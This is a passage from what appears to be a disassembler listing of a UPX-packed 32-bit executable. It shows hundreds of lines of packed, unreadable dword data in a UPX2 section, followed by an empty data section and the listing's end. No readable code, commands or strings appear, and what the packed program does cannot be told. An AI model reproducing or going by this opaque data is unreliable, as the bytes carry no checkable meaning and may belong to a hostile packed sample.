		dd 0CEA0AEA8h, 62C1081Bh, 0D0455D27h, 800F8C6h,	7551812h
		dd 70E5BDC7h, 68605866h, 92F57874h, 2DAA5820h, 0C8F6802Fh
		dd 0D0447D5Ah, 0E8C1F8C6h, 4E987E00h, 48F093B1h, 28D050BBh
		dd 0B01FFD7Ah, 5F0A98A6h, 0FEF81D35h, 0E0E0D8D0h, 6E108DF0h
		dd 22C89BA8h, 7E78A695h, 0D8CB3E50h, 38889371h,	362592D8h
		dd 62C08E88h, 0D0455D27h, 800F8C6h, 5D911800h, 0F0261D45h
		dd 0CD6AA0D3h, 88B640EEh, 689333F6h, 787D911Ah,	1FE0EEEFh
		dd 3E385D75h, 8201810h,	0F95F4D30h, 0E7BB327h, 829871C8h
		dd 9E980635h, 0CB2478B0h, 0D07E7DDAh, 0A366F8C6h, 1790A539h
		dd 89CA3806h, 57D0FDDAh, 23E67846h, 2DA2C020h, 0C8F6802Dh
		dd 4D652F7Ah, 0B00CEC8h, 5C211810h, 0EDC5CF12h,	68606E68h
		dd 0FD847870h, 0D256F86h, 0C8C08E88h, 9DE3D8D0h, 0F28410F5h
		dd 83C8E7EFh, 0BFBFC7CAh, 5E58FDD5h, 88807870h,	18A3EC98h
		dd 4D371279h, 0E8D6E075h, 8800F8F0h, 2F903864h,	70DDBD1Ah
		dd 88A15866h, 8009756Ah, 0DA298B4h, 0C8F6802Dh,	68E33C10h
		dd 0B8ABFC34h, 9046B271h, 0ED4AD8CFh, 685660CDh, 0D77D316h
		dd 0A896A035h, 0C8C0B890h, 6D178BA4h, 836C055h,	8201810h
		dd 8FB73544h, 68605853h, 18307D04h, 2353733Ah, 604D3377h
		dd 0C3E0EEEFh, 0F4417131h, 0AD2A40A0h, 487600ADh, 0CDE5AFFAh
		dd 88804E48h, 0DCA0D890h, 9878DEBCh, 7565D213h,	0E300CEC8h
		dd 0D7987E1Ah, 0D5E532D0h, 0E606E68h, 2D058FDBh, 0ABA0AEA8h
		dd 0BCC1B8B0h, 4D652FA3h, 800CEC8h, 5C001810h, 4B87CF3Dh
		dd 1C605850h, 2210C875h, 672B6B7Bh, 0F7003D3Bh,	20CBD8E6h
		dd 3BFCB079h, 8DA5EFD9h, 48400E08h, 1D60D850h, 1505F57Eh
		dd 22A0AEA8h, 3140F8B8h, 6518ABD3h, 2C4435F4h, 0C8E11800h
		dd 0E3CB8838h, 0D0065EB3h, 23E6B841h, 282F20F6h, 0C8C000D8h
		dd 8E01DAD0h, 8DABA05Bh, 4E266DD9h, 2E800988h, 0C2A3E8FBh
		dd 0B030FDFDh, 2D5798A6h, 0C8F68015h, 0F8E0D8D0h, 2357FE85h
		dd 31CB40E8h, 63686BBBh, 0E3B073A8h, 0BEBFB0FDh, 359990h
		dd 0C9C08E8Fh, 0CCA453E9h, 6FBD71F4h, 0A3202E00h, 7E7F948Dh
		dd 0C0E57350h, 7F804E4Fh, 9E983D15h, 0C8C0F8B0h, 1FE2ACD0h
		dd 0CC25328h, 0AB774E10h, 7E7FD88Dh, 0EC6F5850h, 888079A9h
		dd 0A8A09578h, 9A85F3B0h, 0DBAC9D9Eh, 4444D6C2h, 0BDDF185Ch
		dd 487603A2h, 5794DDD9h, 3D37846h, 70A3A4C8h, 43E8CB4Fh
		dd 808EC93h, 83FF0705h,	1E1FCC85h, 0A436330h, 90E5D15Ch
		dd 8B804E4Fh, 2D2990D2h, 0C8F6874Ch, 17C8AB5Bh,	8007843h
		dd 0DD99F010h, 0F5CBC7CFh, 68566784h, 7D2D9026h, 3D2B676Fh
		dd 0C8F68764h, 0EBE8925Bh, 0C62BF4BAh, 2725F193h, 484158B8h
		dd 32E45750h, 8B807871h, 9E9F4025h, 5075BBB0h, 44E0EEEFh
		dd 8D0F10CCh, 282018B2h, 63447EBDh, 5E5FC0D5h, 0D8867B70h
		dd 5755F278h, 1C7D3B4Fh, 0E8E0EEEFh, 4F3BF385h,	33A3171Ch
		dd 0A3403831h, 0BCF5615Ch, 87804E4Fh, 0A8A19515h, 5045BBB0h
		dd 8EE0EEEFh, 2DFFC071h, 28DC9D1Fh, 8CB3830h, 5C237352h
		dd 7DAD9020h, 1599676Fh, 0C8F68764h, 0E8045DDFh, 8D03F8F0h
		dd 281627C8h, 77D8BD33h, 68EB5866h, 878C3F5Bh, 0A8A05512h
		dd 0C08783B0h, 0E8245BDFh, 0C883F8F0h, 3C671B12h, 77D8BD33h
		dd 38325866h, 0B774CD8Fh, 3D5F98A6h, 0C8F683E2h, 0E7205D8Ah
		dd 8004F75h, 28BCF110h,	0B77C3830h, 68F4DD5Fh, 0B6007870h
		dd 23259785h, 43C0B8B0h, 0ABCBD996h, 0B4E8A8C4h, 11DFE7E4h
		dd 7E7FEC8Dh, 6B172D50h, 0BEBFA0F5h, 30259B90h,	41C08E8Fh
		dd 0DEA0D855h, 330073F0h, 1E1FE095h, 73484A30h,	5E5FA4D5h
		dd 0B5E90A70h, 0D8A09890h, 0D7288FC2h, 65E0D8D0h, 0C98B04BEh
		dd 6A231A3Bh, 48C50320h, 1D606E10h, 9844FB7Ch, 0EC2FA96Fh
		dd 23A1A494h, 6D6F1BCBh, 836C748h, 0B0959370h, 0A0400E0Fh
		dd 979FAD0Ah, 8880D111h, 0A6D51890h, 0BACCFF9Bh, 0E0A7E3D9h
		dd 0F73C7AFFh, 2769E7EFh, 0B7BE8AB5h, 4C5CD3AFh, 0A025DFF1h
		dd 575F9890h, 8A2BC74Fh, 88C49251h, 46E0F8F0h, 24ABD823h
		dd 0A8C5BF14h, 0E1606E6Fh, 0BEBFA4F5h, 1191590h, 0CBC0B898h
		dd 0DEDF4055h, 0ADA59EF0h, 2BE6335Eh, 0A6B2C72h, 93269E5Ch
		dd 0DA01BF98h, 0ADA09890h, 41C0B8B0h, 0B6BF2496h, 9DFFAF33h
		dd 2816238Eh, 475FD0F1h, 686142D5h, 0E2D42870h,	575FF2B8h
		dd 0FEFB4625h, 0B7205DD0h, 90570FFh, 68C81810h,	0A0BFC7D5h
		dd 68605841h, 0CEF41D23h, 0FBC5F4F9h, 0BAB5DBD5h, 0A999ACB9h
		dd 64B507F0h, 0D7202E2Fh, 7E7B6AA5h, 1CE5D150h,	60804E4Fh
		dd 0A8A09889h, 0A994DDE3h, 9FAFBDBBh, 7B729D9Eh, 78507178h
		dd 21365142h, 0D073D3Ch, 99682F70h, 405F6779h, 0C8C0B8A3h
		dd 8DB2BD83h, 7A6F8C83h, 41524875h, 2D2C5146h, 3F603D37h
		dd 77688B98h, 0A8B2706Fh, 0AD93B8B0h, 8383B992h, 7A508885h
		dd 44496E79h, 48255F55h
		dd 80B6B007h, 9068878Fh, 0FBA09890h, 0A9A8FBD5h, 0A685BFBEh
		dd 6E698C9Fh, 41524869h, 2D2C5146h, 3F603D37h, 7768CB98h
		dd 25F4C86Fh, 0FEFA0835h, 0B884B2D0h, 0F757F99Ah, 1E1C1285h
		dd 6C7CB130h, 5326CDAFh, 48AA7846h, 96C8251Dh, 9890B886h
		dd 58552780h, 6000CECAh, 28241811h, 1F415264h, 5714CDAFh
		dd 0E2D47846h, 3D5FCF94h, 0C8F687C4h, 17F41C53h, 3E3F9445h
		dd 0AAB5E710h, 17400E0Bh, 0D5D593h, 0DE804E4Eh,	93260D6Fh
		dd 3043B886h, 5364D72Fh, 8100F8F0h, 1E1F6095h, 1E405230h
		dd 53A2CDAFh, 48057846h, 0A8041C9Fh, 8EBB8B0h, 0EB8A8880h
		dd 600192A0h, 0E8201810h, 2AD5C766h, 0EB606E6Bh, 0C8F8788h
		dd 0A8A09D78h, 0F7BC3D39h, 656DD8E6h, 836C770h,	17A88D9Dh
		dd 1A113806h, 9730583Ah, 0BEBBF6E5h, 57581B90h,	0CD763CBFh
		dd 0E88AD8D0h, 377C4D0Fh, 0BDDF1826h, 487603BAh, 679FA0D3h
		dd 8885E7F4h, 38251190h, 0FBC08E8Fh, 0B923DB19h, 0C6AA9A0h
		dd 5495E741h, 0B7400E0Fh, 5E5B3EC5h, 8740FD70h,	0A8A5E314h
		dd 41098BB0h, 0DEDF4C55h, 5951A9F0h, 27200778h,	0DDBF6830h
		dd 685663FEh, 0C8FB8F5h, 0A8A09DA4h, 0F7583D39h, 5023D8E6h
		dd 80088F8h, 0DF18539Bh, 7E789DB5h, 68605850h, 8B860D60h
		dd 9EB0FF15h, 0CB128BB0h, 1F112F11h, 0AC857111h, 90202E2Fh
		dd 4840109Fh, 6B5C13DBh, 0BE901FF5h, 0AB72AB90h, 3F314F71h
		dd 74655131h, 0CB00CECFh, 2E6BAF1Fh, 0C575DBC9h, 0DF6F4003h
		dd 58836C33h, 8061F3D9h, 0F24168B3h, 8689AF8Fh,	8B1D8C09h
		dd 5A21146Ah, 740BB3D0h, 6B741ADBh, 0CC0D6832h,	715767D8h
		dd 4DFB7993h, 0E8D6E740h, 2C547333h, 0A7E02B00h, 484080B2h
		dd 0A7EB9B50h, 350D739Bh, 0A896A6F8h, 0FB1F334Ch, 89DC7419h
		dd 723CFE82h, 80C1A67h,	3C1C049Ah, 1C4E64BCh, 0FD8044ADh
		dd 23697B78h, 908585B1h, 0E394D895h, 5A43ABCDh,	1BA51710h
		dd 0C3BFC7CFh, 21376553h, 0C8F3B3Eh, 575F67B6h,	9D83EF8Dh
		dd 0F364D79Eh, 35FF070Fh, 1A135B47h, 0B750BC3Fh, 385DA7AFh
		dd 87CF2C23h, 575F9D14h, 201B8B4Fh, 171F26FDh, 0F2E8E885h
		dd 0C0DFE7ECh, 0B7BFC611h, 968CDC5Fh, 5AB3878Fh, 0A8A08E78h
		dd 37A350B0h, 0E808272Fh, 5500F8F0h, 1B73F591h,	93A93806h
		dd 0C605853h, 3D0B4A8Fh, 0A896A708h, 0AEE231D4h, 0B2ADE651h
		dd 0BC47DFFh, 76AB1810h, 2E9E3B0Ch, 2D3063D1h, 8B34FD7Fh
		dd 0EB579890h, 0C8E0B8A6h, 4F65D7D0h, 0FE00F8F3h, 27224453h
		dd 4843A5B4h, 6023D350h, 2820D84Dh, 27249730h, 0F5C0B8B3h
		dd 0C8C0F8F0h, 0B847CFFh, 91C81810h, 47BFC7CEh,	686321D2h
		dd 5425FB70h, 0A8A0AEAFh, 43C8FA3Bh, 29CBC89Ah,	0C833FC83h
		dd 0E0231DFBh, 0C15072B9h, 5E5FF8D5h, 84CA7B70h, 0A9A09828h
		dd 5828E9B0h, 0D81F2737h, 3E385B65h, 1800A910h,	7E789C85h
		dd 96403250h, 9CF820B9h, 5747EE78h, 0C7123D4Fh,	0A331A44h
		dd 30A56DC1h, 0CDCB1826h, 70E5BDC7h, 68605866h,	0AAF47970h
		dd 90051D67h, 0C8C3B886h, 0E495D8D0h, 30A55D71h, 0D7DF1826h
		dd 42ABC3CFh, 50C5D5D1h, 88807846h, 0AEC89090h,	91C0B8B0h
		dd 0E8E0DEB8h, 20E8A0F0h, 0A2DFE7F7h, 7E78A5B5h, 42E4DE50h
		dd 88B640EDh, 903D1D18h, 2822B886h, 0D0455D27h,	808F8C6h
		dd 21551810h, 70DF85B0h, 1C615866h, 2D058FB5h, 0A8A0AEA8h
		dd 0BCC8B8B0h, 755D58CBh, 0D00CEC8h, 95A0A864h,	487600AEh
		dd 0E8C72C55h, 0BEB8E7CDh, 36D49D90h, 0F0653D47h, 0E8E0D8E6h
		dd 17478F0h, 10BDA590h,	3F423806h, 88C5DBD9h, 88804E4Fh
		dd 57539F78h, 35A1504Fh, 9808272Fh, 8300F8F2h, 1E1F848Dh
		dd 0E8DD3B30h, 80606E6Fh, 777F8409h, 0AAF01C9Fh, 7D4BB8B0h
		dd 0E8D6E748h, 0B3CA67Bh, 0D55AF0CEh, 0CA4FC7CFh, 68605A6Ah
		dd 0E8A432F1h, 23409890h, 0CB96EA4Eh, 92E3CCAAh, 0AD850FE0h
		dd 28202E28h, 3D503830h, 8CDDD144h, 5804E4Fh, 9E982825h
		dd 0AF4D33B0h, 1BE0EEC0h, 24B9AF54h, 0A520181Ah, 7E503885h
		dd 0D9C5AB50h, 7B829B70h, 0D256F34h, 0C8C08E88h, 0E7F0D8D0h
		dd 8005674h, 53E710h, 0B7AE8ED8h, 0BCF5D3AFh, 0D804E4Fh
		dd 30249742h, 43C0B8B0h, 0DEDF4065h, 184A73F0h,	48045291h
		dd 63A03830h, 6A13501Ah, 0FA83B143h, 0CF2DA384h, 43C08EA0h
		dd 0DEF0BF5Dh, 83568AF0h, 8DA33C2Ch, 48762857h,	0FC7DB50h
		dd 88807870h, 0A9A8E21Bh, 3FC3B0FAh, 6D6B2F57h,	836C75Ch
		dd 10859DE7h, 48003806h, 6A145850h, 0FA836087h,	2190B19Ch
		dd 0FEFF5805h, 0C09353D0h, 8DF7C8F1h, 281620B5h, 48403870h
		dd 70975A24h, 74C99021h, 43F9676Fh, 0E0B3BBBCh,	0B9ECAAFBh
		dd 57A40BA6h, 98959549h, 0C1400E08h, 5E5FBCEDh,	0D7248B70h
		dd 3A9197CEh, 0C8133F3Dh, 7DDAD8D0h, 836C053h, 0FA491E65h
		dd 5A746E48h, 809008D8h, 777FA2D0h, 0A4EA13CAh,	3FD0F2B3h
		dd 0DED87D55h, 800F8F0h, 2D619500h, 0C5C92B45h,	685667B0h
		dd 98E7FD73h, 0F2398A6h, 0C8C0B8D7h, 0C0A3F3D0h, 8527F79h
		dd 0ADD71810h, 48760450h, 68605851h, 0CB477F04h, 8003898h
		dd 6D454F10h, 0E8E0EEE8h, 7C80F8F0h, 52C84A17h,	12BFC7C7h
		dd 5780D5DBh, 8D637846h, 4388D319h, 144D33BDh, 0BE0EEEFh
		dd 830313F2h, 0ADD7305Bh, 48760095h, 68605853h,	0D0B6C04h
		dd 0A896A774h, 0F71035B3h, 6DE3D8E6h, 836C73Ch,	62AB1011h
		dd 0D4C5B320h, 51606E6Fh, 8BF3703Ah, 0A9A8D219h, 0AB43A8F2h
		dd 6D6BD888h, 836C754h,	2808A878h, 40023930h, 38235909h
		dd 0B023EDFAh, 2D5798A6h, 0C8F68015h, 0F8E0D8D0h, 8503FE84h
		dd 28160877h, 0CDB73886h, 685660F5h, 88827870h,	6E5E8CE5h
		dd 0F0653D47h, 0E8E0D8E6h, 0E75F8F4h, 1084AD9Ah, 0CDB73806h
		dd 685660F5h, 88803870h, 0AF2A93E5h, 0CA6A7AB2h, 3173A06h
		dd 3A0772F9h, 0FE22B2D2h, 9A73CFD2h, 0C42D334h,	0BD87AFFh
		dd 9E9FE42Dh, 4CCFB8B0h, 171F220Eh, 37984D0Fh, 0BDDF1826h
		dd 487603E2h, 57F4EDAFh, 1D7F7846h, 0A896A3D6h,	0F740353Dh
		dd 7D6DD8E6h, 836C778h,	284A4A41h, 773C8DCFh, 0FD9F5866h
		dd 88B643B6h, 97DC2D6Fh, 5D3FB886h, 0E8D6E396h,	36684D7Dh
		dd 9DDF1826h, 48760748h, 0AAF5A706h, 0B804E4Bh,	9E9FE435h
		dd 2003B8B0h, 0E8E0D8D0h, 890192ADh, 1E17A8FDh,	47B06030h
		dd 7D14DD91h, 48057846h, 57681B53h, 4D01B740h, 0E8D6CDA4h
		dd 810C533h, 3455183Ah,	6C3CB956h, 1D11345Ch, 4C681863h
		dd 0DD5F676Fh, 321450B5h, 3A08272Fh, 69FF070Fh,	500DE73Eh
		dd 0F0520C66h, 68605875h, 77259010h, 91D5676Fh,	0F8E4FC3Bh
		dd 0D6886D5Dh, 588BF8C6h, 12A17E18h, 6D333A36h,	68603006h
		dd 4C0B788Fh, 0F8F298FAh, 0F4D22D4Fh, 2C63D8E6h, 543E79F8h
		dd 5D7C272Fh, 4C86BB33h, 979AD9B8h, 77FF908Fh, 6BC1676Fh
		dd 0C8C0CC08h, 505133D0h, 800F8DFh, 282005F8h, 4860FA30h
		dd 686068E8h, 88909070h, 8C629890h, 0C94500B0h,	0EB08D8D0h
		dd 0CA00F8F0h, 7CAD183Ch, 668D3414h, 1460A0D3h,	88681869h
		dd 23A09890h, 95F09CE4h, 561C25Bh, 836C077h, 0D7C1A2F8h
		dd 4C8259CFh, 6B615A50h, 0FD867D77h, 0DEF1442Eh, 9415FF4Bh
		dd 90010011h, 1CEh dup(0)
		dd 7FFD7000h, 13E9h dup(0)
UPX2		ends

; Section 4. (virtual address 0001A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0001A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 3143A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start